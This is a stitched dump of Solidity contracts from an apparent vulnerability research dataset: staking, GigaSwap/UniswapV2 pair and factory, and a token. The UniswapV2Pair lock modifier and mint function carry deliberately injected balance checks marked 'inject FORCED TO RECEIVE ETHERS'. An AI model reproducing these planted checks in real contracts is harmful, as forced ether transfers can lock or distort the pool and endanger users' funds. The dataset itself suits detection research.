// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 75,267 | 12,097 |
58d45db8e839fff5d2bff1ca0fe588b76a9589b5d354c76fb9c41097c965ddca
| 19,569 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/forcedToReceiveEthers/0xab0850aa3be306164e2f4cd679a88e16e73f335c_forcedToReceiveEthers.sol
| 5,363 | 18,964 |
// File: contracts/uniswapv2/interfaces/IUniswapV2Factory.sol
pragma solidity =0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
library SafeMathUniswap {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract UniswapV2ERC20 {
using SafeMathUniswap for uint;
string public constant name = 'GigaSwap LP Token';
string public constant symbol = 'GLP';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)));
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/uniswapv2/libraries/Math.sol
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/uniswapv2/libraries/UQ112x112.sol
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/uniswapv2/interfaces/IERC20.sol
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Callee.sol
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/uniswapv2/UniswapV2Pair.sol
interface IMigrator {
// Return the desired amount of liquidity token that the migrator wants.
function desiredLiquidity() external view returns (uint256);
}
contract UniswapV2Pair is UniswapV2ERC20 {
using SafeMathUniswap for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(address(this).balance == 1, 'UniswapV2: LOCKED'); //inject FORCED TO RECEIVE ETHERS
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20Uniswap(token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
address migrator = IUniswapV2Factory(factory).migrator();
if (msg.sender == migrator) {
liquidity = IMigrator(migrator).desiredLiquidity();
require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity");
} else {
require(migrator == address(0), "Must not have migrator");
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
}
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20Uniswap(_token0).balanceOf(address(this));
balance1 = IERC20Uniswap(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
// File: contracts/uniswapv2/UniswapV2Factory.sol
contract UniswapV2Factory is IUniswapV2Factory {
address public override feeTo;
address public override feeToSetter;
address public override migrator;
mapping(address => mapping(address => address)) public override getPair;
address[] public override allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external override view returns (uint) {
return allPairs.length;
}
function pairCodeHash() external pure returns (bytes32) {
return keccak256(type(UniswapV2Pair).creationCode);
}
function createPair(address tokenA, address tokenB) external override returns (address pair) {
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(UniswapV2Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
UniswapV2Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeTo = _feeTo;
}
function setMigrator(address _migrator) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
migrator = _migrator;
}
function setFeeToSetter(address _feeToSetter) external override {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeToSetter = _feeToSetter;
}
}
| 279,591 | 12,098 |
ad63632cf02f00619fb24a0b195ae04bb7098fe5d00b2b2bee4bdf5c60532f6e
| 11,287 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x62e13095b0026b226538ae3e557507af875a6e31.sol
| 2,383 | 9,209 |
pragma solidity ^0.4.11;
// Token Issue Smart Contract for Time Bank Coin
// Symbol : TBK
// Name : Time Bank Coin
// Total Supply : 1 Billion
// Decimal : 18
// Compiler : 0.4.11+commit.68ef5810.Emscripten.clang
// Optimazation : Yes
// @title SafeMath
// @dev Math operations with safety checks that throw on error
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
// @dev Constructor sets the original `owner` of the contract to the sender account.
function Ownable() {
owner = msg.sender;
}
// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// @dev Allows the current owner to transfer control of the contract to a newOwner.
// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Claimable is Ownable {
address public pendingOwner;
// @dev Modifier throws if called by any account other than the pendingOwner.
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
// @dev Allows the current owner to set the pendingOwner address.
// @param newOwner The address to transfer ownership to.
function transferOwnership(address newOwner) onlyOwner {
pendingOwner = newOwner;
}
// @dev Allows the pendingOwner address to finalize the transfer.
function claimOwnership() onlyPendingOwner {
owner = pendingOwner;
pendingOwner = 0x0;
}
}
contract Contactable is Ownable{
string public contactInformation;
// @dev Allows the owner to set a string with their contact information.
// @param info The contact information to attach to the contract.
function setContactInformation(string info) onlyOwner{
contactInformation = info;
}
}
contract HasNoEther is Ownable {
function HasNoEther() payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract ERC20 {
using SafeMath for uint256;
// private
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// @dev Get the total token supply
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
// @dev Gets the balance of the specified address.
// @param _owner The address to query the the balance of.
// @return An uint256 representing the amount owned by the passed address.
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// @dev transfer token for a specified address
// @param _to The address to transfer to.
// @param _value The amount to be transferred.
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != 0x0);
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
// @dev Transfer tokens from one address to another
// @param _from address The address which you want to send tokens from
// @param _to address The address which you want to transfer to
// @param _value uint256 the amout of tokens to be transfered
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_from != 0x0);
require(_to != 0x0);
require(_value > 0);
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
// @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
// @param _spender The address which will spend the funds.
// @param _value The amount of tokens to be spent.
function approve(address _spender, uint256 _value) returns (bool) {
require(_spender != 0x0);
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// @dev Function to check the amount of tokens that an owner allowed to a spender.
// @param _owner address The address which owns the funds.
// @param _spender address The address which will spend the funds.
// @return A uint256 specifing the amount of tokens still avaible for the spender.
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract StandardToken is ERC20 {
string public name;
string public symbol;
uint256 public decimals;
function isToken() public constant returns (bool) {
return true;
}
}
contract FreezableToken is StandardToken, Ownable {
mapping (address => bool) public frozenAccounts;
event FrozenFunds(address target, bool frozen);
// @dev freeze account or unfreezen.
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccounts[target] = freeze;
FrozenFunds(target, freeze);
}
// @dev Limit token transfer if _sender is frozen.
modifier canTransfer(address _sender) {
require(!frozenAccounts[_sender]);
_;
}
function transfer(address _to, uint256 _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
